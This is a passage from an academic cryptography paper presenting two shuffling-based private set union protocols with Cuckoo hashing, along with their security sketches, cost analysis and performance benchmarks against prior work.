scheme in [6] only involves efficient OT extension and AES
operations, rather than the high-degree polynomial interpola-
tion/evaluation over a large field as in [27]. The functionality
FmpOPRF is shown in Figure 12 in Appendix A.

1-out-of-2 Oblivious Transfer. 1-out-of-2 oblivious transfer
(OT) is a two-party protocol, where party P0 takes as input
two strings {x0,x1}, and the other party P1 chooses a random
bit b and obtains nothing other than xb while P0 learns noth-
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ing about b. The first OT protocol was proposed by Rabin
in [36]. And due to the lower bound in [14], all the OT proto-
cols require expensive public-key operations. To improve the
performance, Ishai et al. [15] introduced the concept of OT
extension that enables us to carry out many OTs based on a
small number of basic OTs. The functionality FOT is shown
in Figure 13 in Appendix A.

Simple Hashing. In the simple hashing scheme, there are
γ hash functions h1, · · · ,hγ : {0,1}∗ → [b] used to map n
items into b bins B1, · · · ,Bb. An item x will be added into
Bh1(x),Bh2(x), · · · ,Bhγ(x), regardless of whether these bins are
empty. According to the following inequality [23], the maxi-
mum bin size ρ can be set to ensure that no bin will contain
more than ρ items except with probability 2−λ when hashing
n items into b bins.

Pr[∃ bin with ≥ ρ items]≤ b

[
n

∑
i=ρ

(
n
i

)
·
(

1
b

)i

·
(

1− 1
b

)n−i
]

Cuckoo Hashing. Cuckoo hashing was introduced by Pagh
and Rodler in [26]. In this hashing scheme, there are γ hash
functions h1, · · · ,hγ used to map n items into b = εn bins and
a stash, and we denote the i-th bin as Bi. Unlike the simple
hashing, the Cuckoo hashing can guarantee that there is only
one item in each bin, and the approach to avoid collisions is
as follows: For an item x, it can be inserted into any empty bin
of Bh1(x),Bh2(x), · · · ,Bhγ(x). If there are no empty bins in the k
bins, randomly select a bin Bhr(x) in these γ bins, and evict the
prior item y in Bhr(x) where hr(x) = hr(y) to a new bin Bhi(y)
where i ̸= r. The above procedure is repeated until no more
evictions are necessary, or until the number of evictions has
reached a threshold. In the latter case, the last item will be put
in the stash. According to the empirical analysis in [34], we
can adjust the values of γ and ε to reduce the stash size to 0
while achieving a hashing failure probability of 2−40.

3 Private Set Union via Shuffling

In this section, we propose two scalable PSU protocols ΠR
PSU

and ΠS
PSU by leveraging shuffling and Cuckoo hashing tech-

niques. The first protocol ΠR
PSU realizes F n1,n2

PSU , which is ob-
tained by shuffling the receiver’s set. In contrast, the sec-
ond ΠS

PSU realizes F n1,n2
PSU∗ , which is obtained by shuffling the

sender’s set. To ease the understanding of our main idea, we
also present the simplified versions of ΠR

PSU and ΠS
PSU (with-

out using the Cuckoo hashing) denoted by Π̂R
PSU and Π̂S

PSU,
respectively, in the full version [16].

3.1 Protocol ΠR
PSU: Shuffling Receiver’s Set

The first protocol ΠR
PSU is designed under the framework in

Figure 2(a). Our basic idea is to realize the functionality g-
RPMT by shuffling the secret shares of the receiver’s set. In

the following, we first give a brief description of this protocol
and then present the details in Figure 8.

We assume that the sender’s set is X = {x1, · · · ,xn1} and the
receiver’s set is Y = {y1, · · · ,yn2}. Then the protocol proceeds
as follows. Firstly, the receiver chooses the parameters of
Cuckoo hash table without a stash, including the number of
bins b= ε ·n2 and γ hash functions h1, · · · ,hγ. Then she inserts
Y into this table and pads each empty bin with a dummy item
d. Please refer to Section 2.2 for the details of Cuckoo hashing.
After successfully inserting Y into the Cuckoo hash table, the
receiver sends the parameters to the sender. Hereafter, we
denote by YC the Cuckoo hash table filled with Y and YC[i] the
item in the i-th bin of the table.

Secondly, the two parties invoke FPS with inputs YC
and π randomly chosen by the receiver. After this, the
sender and receiver obtain the shares {a′1,a′2, · · · ,a′b} and
{a1,a2, · · · ,ab} respectively, where a′i⊕ ai = YC[π(i)]. Fur-
ther through FmpOPRF with {ai}i∈[b] as the input, the sender
receives PRF key k and the receiver obtains {F(k,ai)}i∈[b]
where F(k,ai) ∈ {0,1}ℓ2 .

Next, for each xi ∈X , the sender generates a set Ii so that the
receiver can test if xi ∈ Y via Ii. If not, the receiver can obtain
the item xi. However, we observe that if the sender picks items
from X in a special order, then when the receiver obtains
a certain item xi she can obtain extra information about X
according to the order8. To avoid this leakage, the sender
permutes his set X to π′(X) = {x′1, · · · ,x′n1

} by a randomly
chosen permutation π′, and then generates Ii for each item x′i
of π′(X) in turn, the details of which are shown below.

Note that for each item x′i ∈ π′(X), if there is an item y ∈Y
equal to x′i, then y must be inserted into one of the positions
of YC indexed by {h j(x′i)} j∈[γ], according to the property of
the Cuckoo hashing. Hence, to test if x′i ∈ Y , we need only
to check if x′i ∈ {YC[h1(x′i)], · · · ,YC[hγ(x′i)]}. To do so, the
sender first uses the permutation π of FPS to identify the
shares of YC[h1(x′i)], · · · ,YC[hγ(x′i)] from {a′1,a′2, · · · ,a′b}, say
{a′q1

,a′q2
, · · · ,a′qγ

}, where q j = π−1(h j(x′i)) for j ∈ [γ]. Then
he computes Ii as Ii = {F(k,x′i ⊕ a′q1

), · · · ,F(k,x′i ⊕ a′qγ
)}.

However, we notice that if there are distinct hash functions,
say h js and h jt s.t. h js(x

′
i)= h jt (x

′
i), then we have Ii[ js] = Ii[ jt ],

from which the receiver may learn partial information about
x′i. To overcome this shortcoming, Ii is generated in a slightly
different way: Ii[ js] is computed and recorded in Ii as before,

but Ii[ jt ] is replaced with a random value r $←− {0,1}ℓ2 . In Par-
ticular, for each x′i, the sender initializes a set Ii = /0 and a set
Qi = /0, where Qi is used to record the indices of the shares (in
{a′1, · · · ,a′b}) that are XORed with x′i. Then for each j ∈ [γ],
the sender computes q j = π−1(h j(x′i)). If it does not appear
before (i.e., q j /∈ Qi), the sender adds it into Qi and records
F(k,x′i⊕a′q j

) into Ii. Otherwise, the sender randomly chooses

8For example, assuming that X consists of the ages of a group people, if
the sender picks the items of X in an ascending order and the receiver obtains
an item x = 16 through the third OT, then the receiver can learn that two
people in X are under the age of 16.
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Parameters:

• Hash functions h1, · · · ,hγ : {0,1}ℓ1 → [b];

• A Cuckoo hash table based on h1, · · · ,hγ with b = ε ·n2
bins, stash size s = 0;

• Ideal functionalities FPS, FOT and FmpOPRF (the
underlying PRF is F(k, ·) : {0,1}ℓ1 →{0,1}ℓ2 );

Inputs:

• Sender S : set X = {x1, · · · ,xn1},xi ∈ {0,1}ℓ1 ;

• Receiver R : set Y = {y1, · · · ,yn2},yi ∈ {0,1}ℓ1 ;

Protocol:

1. R inserts set Y into the Cuckoo hash table based on
h1, · · · ,hγ as shown in Section 2.2, and adds a dummy item
d in each empty bin, then denotes the filled Cuckoo hash
table as YC and the item in i-th bin as YC[i];

2. S and R invoke the ideal functionality FPS:

– R acts as P0 with input set YC, and S acts as P1 with
a permutation π;

– R obtains the shuffled shares {a1,a2, · · · ,ab}, and S
obtains the other shuffled shares {a′1,a′2, · · · ,a′b}
where YC[π(i)] = a′i⊕ai;

3. S and R invoke the ideal functionality FmpOPRF:

– R acts as P0 with her shuffled shares {ai}i∈[b], and
obtains the outputs {F(k,ai)}i∈[b];

– S obtains the key k;

4. R initializes set Z = /0, S randomly selects a permutation π′,
and obtains π′(X) = {x′1,x′2, · · · ,x′n1

};
5. For i ∈ [n1] :

– S initializes sets Qi = /0 and Ii = /0;

– For j ∈ [γ]:

- S computes q j = π−1(h j(x′i));
- if q j /∈ Qi,

Qi = Qi∪{q j}, Ii = Ii∪{F(k,x′i⊕a′q j
)},

else,
r $←− {0,1}ℓ2 and Ii = Ii∪{r};

– S sends Ii to R ;

– R checks if {F(k,a j)} j∈[b]∩ Ii ̸= /0. If so, R sets
bi = 1, otherwise, sets bi = 0;

– S and R invoke the ideal functionality FOT:

- S acts as P0 with input {x′i,⊥};
- R acts as P1 with input b;
- if bi = 0, R obtains x′i, otherwise, obtains ⊥;

– Once receiving x′i, R sets Z = Z∪{x′i};

6. R outputs Y ∪Z;

Protocol ΠR
PSU using Cuckoo hashing

Figure 8: Protocol ΠR
PSU using Cuckoo Hashing.

r ∈ {0,1}ℓ2 and records it into Ii. At the end, the sender sends
Ii to the receiver. Recall that if x′i ∈ Y , then there is an item in
Ii that belongs to {F(k,ai)}i∈[b].

Finally, upon receiving Ii, the receiver checks if the intersec-
tion of Ii and {F(k,a j)} j∈[b] is non-empty. If not, the receiver
sets bi = 0 and obtains xi through FOT and adds it to an ini-
tially empty set Z, otherwise sets bi = 1 and obtains nothing.
At last, the receiver outputs Y ∪Z.

Next we first argue that the protocol ΠR
PSU in Figure 8

realizes the functionality F n1,n2
PSU correctly, and then show it

satisfies the security properties.

Correctness. The receiver obtains the Cuckoo hash table YC
filled with the set Y and dummy items d. Then through FPS,
the receiver obtains the shuffled secret share set {a1, · · · ,ab}
of YC and the sender receives the other shares {a′1, · · · ,a′b},
where a′i⊕ ai = YC[π(i)]. For an item x∗ ∈ X , if x∗ ∈ Y , say
x∗ = yi, then yi must be inserted into one of the bins of YC
indexed by {h j(x∗)} j∈[γ], and so the share of yi held by the
sender must belong to {a′q1

, · · · ,a′qγ
} where q j = π−1(h j(x∗))

for all j ∈ [γ]. Without loss of generality, we assume that the
share of yi is a′qw , then x∗⊕ a′qw = yi⊕ a′qw = aqw , and thus
F(k,x∗⊕ a′qw) = F(k,aqw). So in this case the intersection
of I∗ = {F(k,x∗⊕a′q j

)} j∈[γ] and {F(k,ai)}i∈[b] is non-empty,
the receiver sets b∗ = 1 and receives nothing from FOT. Oth-
erwise (i.e., x∗ /∈ Y ), we have x∗⊕ a′q j

̸= aq j for all j ∈ [γ].
Moreover, for any at where t ∈ [b] \ {q j} j∈[γ], x∗⊕ a′q j

̸= at
with an overwhelming probability, as long as the length ℓ1
of the share is sufficiently large. Thus the intersection of
{F(k,x∗⊕a′q j

)} j∈[γ] and {F(k,ai)}i∈[b] is empty except for a
negligible probability, then the receiver will set b∗ = 0 and
receive x∗ through FOT.

We remark that the correctness error comes from the fol-
lowing two types of collisions. Specifically, the first type is
incurred by the secret shares, that is, for x∗ /∈ Y and some
j ∈ [γ], x∗⊕ a′q j

∈ {a1, · · · ,ab} holds. The other case is in-
curred by PRF, that is F(k,x∗ ⊕ a′q j

) = F(k,at) for some
x∗⊕ a′q j

̸= at . To make the correctness hold with an over-
whelming probability, we need to ensure the probability of
collisions happening is less than 2−λ. To this end, we set both
the share length ℓ1 and the PRF output length ℓ2 to be at least
λ+ log(εn2)+ log(γn1).

Security. Now we proceed to show the semi-honest security
of ΠR

PSU in the {FPS,FmpOPRF,FOT}-hybrid model.

Theorem 3.1. The protocol ΠR
PSU presented in Figure 8

securely realizes F n1,n2
PSU in the {FPS,FmpOPRF,FOT}-hybrid

model, in the presence of semi-honest adversaries.

Proof (sketch). We construct SimS and SimR to simu-
late the views of corrupted sender S and corrupted re-
ceiver R , respectively. Roughly speaking, SimS randomly
chooses {a′1, · · · ,a′b} and a key k as the outputs of FPS

and FmpOPRF, and receives the input of FOT. Then SimS
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can leverage the simulators of these subroutine function-
alities to simulate the view of corrupted sender S . On the
other hand, SimR also randomly chooses {a1, · · · ,ab} and
{F(k,a1), · · · ,F(k,ab)} as the outputs of FPS and FmpOPRF.
When constructing {Ii}i∈[n1], SimR needs to simulate that
there are |X ∩Y | items in {Ii}i∈[n1] that have an intersection
with {F(k,a1), · · · ,F(k,ab)}. Once receiving bi for FOT, if
bi = 0, SimR takes one item from {X ∪Y}−Y in random or-
der as the output, otherwise, SimR takes⊥ as the output. Like-
wise, SimS can leverage the simulators of these subroutine
functionalities to simulate the remaining view of corrupted
receiver R . Due to lack of space, more details of the proof
are given in the full version [16]. □

The protocol ΠR
PSU is very scalable for balanced datasets,

as demonstrated in Section 4. When considering unbalanced
datasets, we observe that it is already considerably efficient
for the case that the sender’s set size is much larger than the
receiver’s, but not so friendly for the opposite case. To deal
with this case, we propose a second protocol ΠS

PSU as below.

3.2 Protocol ΠS
PSU: Shuffling Sender’s Set

In contrast to ΠR
PSU, the core idea of designing ΠS

PSU is to
shuffle the sender’s set, rather than the receiver’s. A brief de-
scription is given below and the details are shown in Figure 9.

Similarly, the sender’s set and the receiver’s set are assumed
to be X = {x1, · · · ,xn1} and Y = {y1, · · · ,yn2}, respectively.
Then the protocol works as follows. Firstly, the sender in-
serts X into the Cuckoo hash table with b bins by using γ

hash functions {h1, · · · ,hγ} and fills each empty bin with a
dummy item d. After that, the sender sends to the receiver the
parameters of the Cuckoo hashing. Then the receiver inserts
Y into a simple hash table with b bins by using the same hash
functions. In general, when n items are inserted into a simple
hash table with m bins using γ hash functions, the maximum
bin size is O(γn/m)9 when n > m logm according to [35].
Therefore, the maximum bin size ρ of simple hash table is
O(γn2/b). For simplicity, we denote by XC and YB the filled
Cuckoo hash table and simple hash table, respectively.

Secondly, the sender and the receiver invoke FPS with input
XC and a random permutation π, respectively. Then the sender
obtains the shuffled secret shares {a1, · · · ,ab} of X while
the receiver obtains other shares {a′1, · · · ,a′b}. Further, by
running FmpOPRF with the input {ai}i∈[b] the sender obtains
{F(k,ai)}i∈[b] and the receiver obtains the PRF key k.

Thirdly, for i ∈ [b] the receiver generates a set Ii with her
i-th share a′i and sends it to the sender, so that the sender can
test if the item of X associated with a′i belongs to Y . Note
that as the receiver selects the permutation π, she knows that
a′i is the share of the π(i)-th item of XC, whereas the sender
does not know which item of XC is being tested. Moreover,
if XC[π(i)] ∈ Y , then the item in Y equal to XC[π(i)] must be

9To be precise, the maximum bin size should be Θ(γn/m).

Parameters:

• Hash functions h1, · · · ,hγ : {0,1}ℓ1 → [b];

• A Cuckoo hash table based on h1, · · · ,hγ, with b = ε ·n1
bins, stash size s = 0;

• A simple hash table based on h1, · · · ,hγ, with b = ε ·n1 bins
and bin size ρ, where ρ = O(γn2/b);

• Ideal functionalities FPS and FmpOPRF (the underlying
PRF is F(k, ·) : {0,1}ℓ1 →{0,1}ℓ2 );

Inputs:

• Sender S : set X = {x1, · · · ,xn1},xi ∈ {0,1}ℓ1 ;

• Receiver R : set Y = {y1, · · · ,yn2},yi ∈ {0,1}ℓ1 ;

Protocol:

1. S inserts set X into the Cuckoo hash table, and fills empty
bins with the dummy item d, then denotes the filled
Cuckoo hash table as XC and the item in i-th bin as XC[i];
R inserts set Y into the simple hash table, and deletes the
duplicates in each bin, then denotes the set of items in the
i-th bin as YB[i];

2. S and R invoke the ideal functionality FPS:

– S acts as P0 with input set XC, and R acts as P1 with
a permutation π;

– S obtains the shuffled shares {a1,a2, · · · ,ab}, R
obtains the another shuffled shares {a′1,a′2, · · · ,a′b}
where XC[π(i)] = a′i⊕ai;

3. S and R invoke the ideal functionality FmpOPRF:
– S acts as P0 with his shuffled shares {ai}i∈[b], and

obtains the outputs {F(k,ai)}i∈[b];
– R obtains the key k;

4. R initializes a set Z = /0, S initializes a string U = 0b;

5. For i ∈ [b]:
– R initializes a set Ii = /0;
– For each y j ∈ YB[π(i)], R adds F(k,y j⊕a′i) to Ii;

– R pads Ii up to bin size ρ by different r $←− {0,1}ℓ2 ,
and sends Ii to S ;

– S checks if F(k,ai) is in Ii, if not, S sets U [i] = 1,
otherwise, sets U [i] = 0;

6. S and R invoke the ideal functionality FPS:
– R acts as P0 with input set {a′i}i∈[b], and S acts as P1

with a random permutation π′;
– S and R obtains the shuffled share sets
{s1

1,s
1
2, · · · ,s1

b} and {s2
1,s

2
2, · · · ,s2

b} respectively, where
s1
i ⊕ s2

i = a′
π′(i);

7. For i ∈ [b]:
– If U [π′(i)] = 1, S sets zi = aπ′(i)⊕ s1

i , otherwise, sets
zi =⊥, then sends zi to R ;

– If zi ̸=⊥ and zi⊕ s2
i ̸= d, R sets Z = Z∪{zi⊕ s2

i };
8. R outputs Y ∪Z;

ΠS
PSU Protocol using Cuckoo hashing

Figure 9: Protocol ΠS
PSU using Cuckoo Hashing.

2956    31st USENIX Security Symposium USENIX Association



contained in the π(i)-th bin of YB. So to check if XC[π(i)] ∈Y ,
we need only to check if XC[π(i)] ∈ YB[π(i)]. To do so, the re-
ceiver computes the XOR of a′i and each item in YB[π(i)], then
evaluates PRFs over them, namely {F(k,y j⊕a′i)}y j∈YB[π(i)],
and adds them into set Ii. To further hide from the sender the
actual number of items in Y mapped to the bin, the receiver
pads Ii with ρ−|YB[π(i)]| random values from {0,1}ℓ2 if the
number (i.e., |YB[π(i)]|) of items in Ii is less than the maxi-
mum bin size ρ. Note that if there is a y j that is mapped to the
bin multiple times using different hash functions, ΠS

PSU only
puts it to the bin once, and thus there are no duplicates in Ii.

Finally, after receiving Ii ⊇ {F(k,y j ⊕ a′i)}y j∈YB[π(i)], the
sender checks if F(k,ai) ∈ Ii. If not, the sender sends ai to the
receiver in order for the receiver to obtain XC[π(i)] = ai⊕a′i,
otherwise sends ⊥. By this way, however, the receiver will
learn that an item belonging to X ∩Y is in the bin YB[π(i)] if
she receives⊥, which will leak the information about intersec-
tion to the receiver as mentioned in [19]. On the other hand,
if the receiver obtains the sender’s item, she may learn partial
information about the whole sender’s set as she knows the
position in Cuckoo hash table to which the item is mapped.

To solve the above problems, we opt to postpone send-
ing the sender’s shares. More specifically, instead of send-
ing the share directly, the sender first records which shares
should be sent using a bit-string U and then sends them in
a new order. Since the receiver needs to match the shares
from the sender with her shares, the receiver also needs to
permute her shares in the same order. To this end, we leverage
FPS again. Roughly speaking, the receiver takes her shares
{a′1,a′2, · · · ,a′b} as the input and the sender randomly chooses
a permutation π′ as his input. After FPS, the sender receives
the shuffled shares {s1

1,s
1
2, · · · ,s1

b}, and the receiver obtains
the other shares {s2

1,s
2
2, · · · ,s2

b} where s1
i ⊕ s2

i = a′
π′(i). As the

sender knows the permutation π′, he can check if aπ′(i) should
be sent to the receiver according to U [π′(i)]. If so, the sender
sends zi = aπ′(i)⊕ s1

i to the receiver, otherwise sends zi =⊥.
Once receiving zi from the sender, if it is not ⊥, the receiver
can calculate zi⊕ s2

i = aπ′(i)⊕ s1
i ⊕ s2

i = aπ′(i)⊕a′
π′(i). If the

recovered item is not the dummy item d, the receiver will add
it into Z. Finally, the receiver outputs Y ∪Z.

In what follows, we first show the correctness of the proto-
col ΠS

PSU in Figure 9 and then argue that it securely realizes
the functionality F n1,n2

PSU∗ .

Correctness. The analysis is similar to that of ΠR
PSU, and we

show it in the full version [16] due to the limited space.

Security. Now we show that ΠS
PSU securely realizes F n1,n2

PSU∗ .

Theorem 3.2. The protocol ΠS
PSU presented in Figure 9 se-

curely realizes F n1,n2
PSU∗ in the {FPS,FmpOPRF}-hybrid model,

in the presence of semi-honest adversaries.

The proof of Theorem 3.2 is similar to Theorem 3.1. Due to
the limited space, the details are given in the full version [16].

3.3 Cost Analysis
Given the statistical security parameter λ, according to [34],
we choose the parameters of Cuckoo hashing without stash,
exactly including b = ε · n bins (where n = n2 for ΠR

PSU

and n = n1 for ΠS
PSU) and γ hash functions, to ensure that

the hashing failure probability is less than 2−λ. Besides, to
guarantee the error rate incurred by collisions is less than
2−λ in ΠR

PSU, we set the share/item length ℓ1 and the out-
put length ℓ2 of F(k, ·) to be at least λ+ log(γn1)+ log(εn2).
Likewise, the output length ℓ2 of F(k, ·) in ΠS

PSU is at least
λ+ log(εn1)+ log(γn2). In addition, the costs of ΠR

PSU and
ΠS

PSU also rely on the sub-protocols used to realize the build-
ing blocks. Particularly, we realize FPS, FmpOPRF and FOT

with the protocols in [22], [6] and [15], respectively.

Table 4: The costs of ΠR
PSU and ΠS

PSU

Part-1 Part-2 Part-3 Part-4
Comp. O(b logb) O(b) O(γn) O(n1)
Comm. O(ℓ1b logb) O(b) O(ℓ2γn) O(ℓ1n1)

ΠR
PSU: b = εn2, n = n1; ΠS

PSU: b = εn1, n = n2 and Part-1 is executed twice.

Since ΠR
PSU and ΠS

PSU mainly consist of 4 parts: (1)
Permute+Share, (2) multi-point OPRF, (3) computing and
sending {Ii}, and (4) obtaining items in X \Y , we for clarity
summarize their complexities in Table 4 according to each
part. In ΠR

PSU (resp. ΠS
PSU), Part-1 and Part-2 are performed

on the receiver’s set Y (resp. the sender’s set X) while Part-3
is performed on the sender’s set X (resp. the receiver’s set Y ),
and thus b = εn2,n = n1 (resp. b = εn1,n = n2).

4 Performance Evaluation

In this section, we experimentally evaluate our PSU protocols
ΠR

PSU and ΠS
PSU. In Section 4.1, we first give our benchmark-

ing environment. In section 4.2, we compare our protocols
with the state-of-the-art work [19] in terms of communica-
tion cost and single-threaded runtime on different networks,
and the results are reported in Table 5. To demonstrate the
scalability and parallelizability of our protocols, we evalu-
ate our two protocols on small and large sets with different
threads in Section 4.3, and show the results in Table 6, Table 7
and Table 8. Besides the equal set sizes, we also consider
the unbalanced sets in Section 4.4. We perform ΠR

PSU in the
cases where the sender’s set is larger than the receiver’s set,
and ΠS

PSU in the opposite cases, and show the results in Ta-
ble 9. Our complete implementation is available on GitHub:
https://github.com/dujiajun/PSU.

4.1 Benchmarking Environment
We implement ΠR

PSU and ΠS
PSU in C++, and run our experi-

ments on a single Intel Xeon with 2.39GHz and 128GB RAM.
We evaluate our protocols in two networks settings, LAN
network with 10Gbps bandwidth and 0.02 ms RTT and WAN
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set size n
Protocol

28 210 212 214 216 218 220 222

[19] 1.064 1.379 2.164 5.326 17.541 86.358 333.073 1459.539
ΠR
PSU 000...666777111 000...888999222 111...111333222 111...777777888 444...444111222 111666...111000444 666777...777555666 333444111...777555888WAN

ΠS
PSU 0.712 0.993 1.238 2.214 6.233 22.78 102.039 458.731

[19] 0.578 0.69 1.278 3.551 13.285 69.19 263.476 1191.703Time (s)

ΠR
PSU 000...222666555 000...333000888 000...444111222 000...888777 222...777000222 111000...777555111 444888...777000333 222555111...000999111LAN

ΠS
PSU 0.274 0.32 0.434 1.051 3.452 13.382 60.16 279.97

[19] 0.41 1.86 7.72 31.8 131.17 600.62 2470.11 10233.28
ΠR
PSU 000...222222 000...888111444 333...555777666 111555...888444888 777000...111999888 333000777...111999222 111333333888...777999 555777777999...555999999Comm.(MB)

ΠS
PSU 0.376 1.554 7.019 31.381 140.604 617.654 2725.932 11746.69

Table 5: Comparisons of total runtime (in seconds) and communication (in MB) between ΠR
PSU, ΠS

PSU and [19] with a single
thread in WAN/LAN settings where n1 = n2 = n. Best results are marked in bold.

Π̂R
PSU Π̂S

PSU
28 210 212 214 28 210 212 214

Time (s)

T=1 0.620 5.582 89.862 1423.955 0.526 5.827 86.037 1425.376
T=2 0.432 3.108 45.295 722.29 0.358 2.862 44.967 719.325
T=4 0.356 1.722 23.094 363.270 0.295 1.861 22.231 360.131
T=8 0.349 1.067 11.713 183.181 0.261 0.986 11.640 183.838

Comm. (MB) 0.665 9.624 162.759 2828.476 0.641 9.588 162.63 2827.972

Table 6: Runtime (in seconds) and communication (in MB) of Π̂R
PSU and Π̂S

PSU for small set (n1 = n2 ∈ {28,210,212,214}) and
threads T ∈ {1,2,4,8} threads in LAN setting.

network with 400Mbps and 80ms RTT, which are emulated
using Linux tc command. We set the computational security
parameter κ = 128 and statistical security parameter λ = 40,
and the item length in bits ℓ1 is 128.

Our protocols are built on Permute+Share, multi-point
OPRF, and OT extension. We implement Permute+Share
with the design in [22] and OT extension [15] using libOTe
library [38] with Naor-Pinkas Base OT [24]. For multi-point
OPRF, we use the source code from [6].

Parameters about Cuckoo Hashing. For the equal set sizes,
Permute+Share sub-protocol costs most of the runtime, and
thus we need to minimize the number of items to be shuffled
as far as possible. Moreover, items in the stash of Cuckoo
hashing need to be compared with each item of the other
party rather than certain items picked out by the hash func-
tions. Hence, we also need to limit the stash size to be 0.
The empirical analysis in [34] shows that increasing the num-
ber of hash functions can drastically reduce the number of
bins and the required stash size. According to the results re-
ported in [34], we decide to use 4 hash functions to implement
Cuckoo hashing with 1.09 ·n bins and 0 stash. However, for
the unbalanced set sizes, calculating PRFs will dominate, to
reduce the number of PRFs calls and keep the stash size 0,
we choose to use 3 hash functions and 1.27 ·n bins.

4.2 Performance Comparisons
In this section, we compare ΠR

PSU, ΠS
PSU and [19] in terms

of runtime and communication, and the results are reported
in Table 5. More concretely, compared to [19], our ΠR

PSU

can obtain a 4-5× improvement in runtime for large datasets

(n1 = n2 ≥ 214) in both WAN and LAN settings. And the
communication is about 50% communication of [19].

Although we also consider ΠS
PSU in this comparison, it is

worth noting that ΠS
PSU realises a different functionality than

the other two protocols, because the sender can obtain the
intersection size in advance. Moreover, to avoid the leak-
age of intersection information, ΠS

PSU has to execute the
Permute+Share sub-protocol twice (cf. Section 3.2 for more
details). Therefore, the runtime of ΠS

PSU is longer than that of
ΠR

PSU. Nevertheless, compared to [19], our ΠS
PSU can still

obtain a 3-4× improvement in runtime for large datasets
(n1 = n2 ≥ 214) in both WAN and LAN settings. But for com-
munication, the cost of ΠS

PSU is almost equal to that of [19].

4.3 Scalability and Parallelizability
In this section, we show that our two protocols can be effi-
ciently executed on small sets without Cuckoo hashing, which
can simplify development in practice. And using Cuckoo hash-
ing, our protocols can be scaled to large sets. Moreover, we
show that our protocols can be executed in parallel. Specif-
ically, for the set of size 222, ΠR

PSU and ΠS
PSU can achieve a

speedup of 3.49× and 2.89× using 8 threads, respectively.

The cases with small sets. In table 6, we show that Π̂R
PSU

and Π̂S
PSU can be executed on small sets directly without

Cuckoo hashing (please see the full version [16] for more
details of Π̂R

PSU and Π̂S
PSU). In LAN setting, they cost about

10 seconds with 8 threads on the set of size 212 However,
we can see that as the set size increases, the runtime and
communication increase dramatically. For set size of 214,
the two protocols both need more than 3 minutes with 8
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set size n
212 214 216 218 220 222

WAN

T=1 1.132 1.778 4.412 16.104 67.756 341.758
T=2 1.127 1.658 3.315 11.025 48.321 230.218
T=4 1.117 1.553 2.965 8.852 37.847 181.657
T=8 0.957 1.512 2.626 7.666 34.701 163.82

LAN

T=1 0.412 0.87 2.702 10.751 48.703 251.091
T=2 0.367 0.615 1.721 6.221 29.812 148.538
T=4 0.351 0.489 1.256 3.96 21.272 107.298
T=8 0.325 0.477 1.093 3.582 14.304 71.782

Speedup 111...333111-111...222666××× 111...111888-111...999555××× 111...666888-222...444777××× 222...111000-333...000000××× 111...999555-333...444000××× 222...000888-333...444999×××
Table 7: Scaling of ΠR

PSU with set size (n1 = n2 = n) and number of threads (T ∈ {1,2,4,8}) in WAN/LAN settings.

set size n
212 214 216 218 220 222

WAN

T=1 1.238 2.214 6.233 22.78 102.039 458.731
T=2 1.368 1.984 4.731 16.346 77.137 347.897
T=4 1.388 1.79 3.909 13.856 65.319 292.226
T=8 1.196 1.711 3.504 12.041 59.736 258.244

LAN

T=1 0.434 1.051 3.452 13.382 60.16 279.97
T=2 0.378 0.764 2.322 7.863 38.434 175.485
T=4 0.356 0.614 1.685 5.632 25.842 116.678
T=8 0.408 0.606 1.397 5.204 20.992 96.723

Speedup 111...000444-111...000666××× 111...222999-111...777333××× 111...777888-222...444777××× 111...888999-222...555777××× 111...777000-222...888777××× 111...777888-222...888999×××
Table 8: Scaling of ΠS

PSU with set size (n1 = n2 = n) and number of threads (T ∈ {1,2,4,8}) in WAN/LAN settings.

LAN WAN

n2 (resp. n1) 28 212 28 212

n1 (resp. n2) 216 220 224 216 220 224 216 220 224 216 220 224

ΠR
PSU 0.487 3.17 47.788 0.524 3.648 51.513 1.266 5.101 64.109 1.396 5.341 67.802

ΠS
PSU 0.511 2.918 44.606 0.581 2.958 48.379 1.042 3.759 51.043 1.406 3.789 57.352

Table 9: Runtime (in seconds) of ΠR
PSU for unbalanced set sizes (n1 ∈ {216,220,224},n2 ∈ {28,212}) and ΠS

PSU for unbalanced
set sizes (n1 ∈ {28,212},n2 ∈ {216,220,224}) with 8 threads in WAN/LAN settings.

threads, and the communication is so much that it will affect
the protocol executed in the WAN setting. Therefore, for large
sets, we test the runtime and communication of the protocols
with Cuckoo hashing.

The cases with large sets. In both ΠR
PSU and ΠS

PSU, PRF val-
ues in set I are independent of each other, and thus can be
calculated in parallel. In addition, the Permute+Share sub-
protocol in [22] and the multi-point OPRF sub-protocol in [6]
can be partially parallelized. We demonstrate the scalability
and parallelizability of ΠR

PSU and ΠS
PSU by evaluating it on

the large set sizes n1 = n2 = n∈{212,214,216,218,220,222} in
parallel with T ∈ {1,2,4,8} threads. Table 7 shows the exper-
imental results of ΠR

PSU in both WAN/LAN settings, and the
last row presents the ratio between the runtime of the single
thread and 8 threads. We can see that, the speedup becomes
better as the set size increases. Specifically, when the set size
is 222, we can obtain a speedup of 2.08× in WAN setting
and 3.49× in LAN setting. Similarly, we report the results
of ΠS

PSU in Table 8. On the whole, as the set sizes and num-
ber of threads increase, the runtime of ΠS

PSU changes in the
same way as that of ΠR

PSU. However, the speedup of ΠS
PSU is

less than that of ΠR
PSU, since ΠS

PSU performs Permute+Share
sub-protocol twice, which is not completely parallelized.

4.4 Design for Unbalanced Datasets

In this section, we show that ΠR
PSU and ΠS

PSU can be chosen
according to the sizes of the two sets. Considering that the set
to be shuffled is small (28 or 212) and the items that will be
calculated PRFs are too many (more than 216, 220 or 224), we
adjust the parameters of Cuckoo hashing to 3 hash functions
and 1.27 ·n bins with stash size s = 0 according to the results
in [34]. Table 9 shows the performances of ΠR

PSU and ΠS
PSU

with 8 threads in WAN/LAN settings.
When the receiver’s set is much smaller than the sender’s

set (i.e., n2 ≪ n1), we perform ΠR
PSU to obtain the union.

We can see that for the sender’s set of size 224, ΠR
PSU only

needs about 50 seconds in LAN setting, and about 65 seconds
in WAN setting, which is reasonable in practice. As for the
opposite unbalanced cases (i.e., n1≪ n2), ΠS

PSU can obtain a
better performance since it replaces OT related to the larger
set with Permute+Share just related to the smaller set.
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Table 10: The probability of Case2 for different set sizes

parameters
set size n

28 210 212 214 216 218 220 222

α 0.043 0.055 0.05 0.053 0.058 0.052 0.06 0.051
Pr(×10−11) 7.946 1270 206.1 639.4 3252 444.8 5778 305.1
Here, αn is the number of bins.

5 Leakage Analysis of Protocol in [19]

In this section, we first recall the optimization via bucketing
in [19], and then explain in detail why the usage of bucketing
technique will leak the intersection information. Please refer
to Appendix B.1 for more details of the protocol in [19]. Also,
we further explain why the protocol in [19] cannot benefit
